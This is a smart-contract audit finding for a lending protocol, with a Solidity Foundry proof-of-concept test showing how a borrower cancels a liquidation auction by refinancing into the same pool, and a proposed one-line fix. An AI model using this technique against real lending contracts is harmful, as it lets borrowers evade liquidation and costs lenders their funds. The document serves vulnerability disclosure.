Hello, as known when there's a loan between a lender and a borrower, the borrower should repay this loan in a certain period of time, if the borrower failed to repay it, the lender has the right/power to start an auction to liquidate/sell that loan. However, a borrower can block the lender from doing so, by just paying a small negligible fee, giving him the ability to take loans for unlimited time. This can be done by the borrower calling the refinance
function but to the same current pool, this restarts the auctionStartTimestamp
which will cancel the auction. The borrower can keep an eye on whenever an auction starts he can call the refinance
function pay a small fee and cancel the auction.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x4);
address public fees = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function separate() public {
console.log("------------------------------------");
}
function createPoolAndBorrow()
public
returns (bytes32 poolId, uint256 loanId)
{
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
console.log(
"Pool balance before borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance before borrowing: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
separate();
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
loanId = 0;
}
function borrowerRefinances(bytes32 poolId, uint256 loanId) public {
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: loanId,
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
}
function test_bug() public {
(bytes32 poolId, uint256 loanId) = createPoolAndBorrow();
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , uint256 auctionStartTime, ) = lender.loans(0);
console.log(
"Pool balance after borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance after borrowing: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
console.log("Auction start time: %s", auctionStartTime);
separate();
vm.warp(block.timestamp + 10 days);
console.log(
"10 days later and the borrower has not paid back and lender decides to start auction"
);
vm.startPrank(lender1);
lender.startAuction(loanIds);
(, , , , , , , , auctionStartTime, ) = lender.loans(0);
assert(auctionStartTime != type(uint256).max);
console.log("Auction start time: %s", auctionStartTime);
separate();
console.log(
"Borrower decides to cancel the auction by calling refinance to the same pool"
);
borrowerRefinances(poolId, loanId);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
(, , , , , , , , auctionStartTime, ) = lender.loans(0);
console.log("Auction start time: %s", auctionStartTime);
console.log(
"Pool balance after borrowing: %s %s",
poolBalance,
poolBalance / 10 ** 18
);
console.log(
"Borrower balance: %s",
loanToken.balanceOf(borrower),
loanToken.balanceOf(borrower) / 10 ** 18
);
assert(auctionStartTime == type(uint256).max);
}
}
Block users (borrowers) from refinancing to the same pool, i.e. add if (poolId == oldPoolId) revert SamePool();
to the top of the refinance
function.